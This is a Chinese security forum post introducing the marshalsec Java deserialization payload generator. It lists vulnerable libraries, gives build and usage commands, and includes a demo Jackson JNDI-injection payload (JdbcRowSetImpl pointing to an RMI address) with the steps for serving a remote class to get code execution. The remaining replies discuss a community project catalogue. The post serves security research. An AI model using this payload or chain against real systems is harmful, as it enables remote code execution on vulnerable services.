Java Unserialize Vul Payload生成器(涵盖了之前没有被公开的gadget)
发布于 2 年前 阅读权限 无需登录 作者 0c0c0f 6401 次浏览 来自 开源项目

项目地址:https://github.com/mbechler/marshalsec paper:https://github.com/mbechler/marshalsec/blob/master/marshalsec.pdf

受影响的组件

Jyaml:是java版的处理yaml的类库 YamlBeans:好JavaBean的支持 Kryo:快速、高效的序列化框架 Apache Flex BlazeDS:是基于服务器的 Java 远程和 Web 消息技术,允许开发者简单连接到后端分布式数据和实时推送数据到 Adobe® Flex® 和 Adobe AIR™ 应用 Jackson:Jackson 是一个 Java 用来处理 JSON 格式数据的类库,性能非常好 Castor:Castor是一种将Java对象和XML自动绑定的开源软件。它可以在Java对象、XML文本、SQL数据表以及LDAP目录之间绑定 Kryo:Kryo是一个快速高效的Java序列化框架,旨在提供快速、高效和易用的API。无论文件、数据库或网络数据Kryo都可以随时完成序列化。Kryo还可以执行自动深拷贝(克隆)、浅拷贝(克隆)。这是对象到对象的直接拷贝,非对象->字节->对象的拷贝。 XStream:XStream是一个Java对象和XML相互转换的工具,很好很强大。提供了所有的基础类型、数组、集合等类型直接转换的支持。因此XML常用于数据交换、对象序列化(这种序列化和Java对象的序列化技术有着本质的区别) json-io Java XMLDecoder

编译方式:

git clone https://github.com/mbechler/marshalsec.git mvn clean package -DskipTests

使用方法:

使用命令:java -cp target/marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.<Marshaller> [-a] [-v] [-t] [<gadget_type> [<arguments…>]] -a 生成所有类型的payload -v 参数在执行会打印payload(-a -v -t calc 会打印出payload,-a -t calc不会) -t 执行命令行参数

以jackson反序列化漏洞为例(demo): 1)配置好参数JdbcRowSet rmi://127.0.0.1:1999/Object jackson1.png 生成了payload如下: [“com.sun.rowset.JdbcRowSetImpl”,{“dataSourceName”:“rmi://127.0.0.1:1999/Object”,“autoCommit”:true}] 2)启动http服务器,提供下载远程要调用的类、启动RMI服务 rmi.png 3)执行反序列化操作,执行代码 poc.png 目前反序列化漏洞主要集中在国外的一些产品,国内的有fastjson、dubobo,各大互联网厂商开源的项目还有待挖掘!

参考:

https://www.iswin.org/2016/01/24/Spring-framework-deserialization-RCE-分析以及利用/

16 回复

社区在准备一个开源项目管理的小产品,具体请 @darkray @imbee 来解读下。

主要是用于收集和分类github上的开源项目,以便给大家一个方便查询的地方。 具体流程细节会在社区的统一开源项目列表中告诉大家,放两个前端截图:

image.png

image.png

@darkray 正缺少一个这样的平台,有的时候工具忘了名字,github几百个start要一页一页翻,以后就可以放到这上面了:)

@darkray 这个真不错,能不能像wiki,百度百科那样支持平台其他用户编辑,大家可以贴入一些自己的使用心得词条。通过众人不断的编写,更方便对这个工具0了解的人更快更准确的获得有价值的信息。

@cf_hb 以后社区的产品会采用社区主站账户体系,你说的这个功能默认应该是支持的。

项目不错

可以,可以,加上使用详情更加好。

@spider 这个工具的使用详情吗?使用方式差不多。

@xbeark javaopenrasp 这个项目不错啊 学习了一波

@0c0c0f 相互学习,多交流~稍有多社区关注java安全

这个很牛逼啊

可以,支持

回到顶部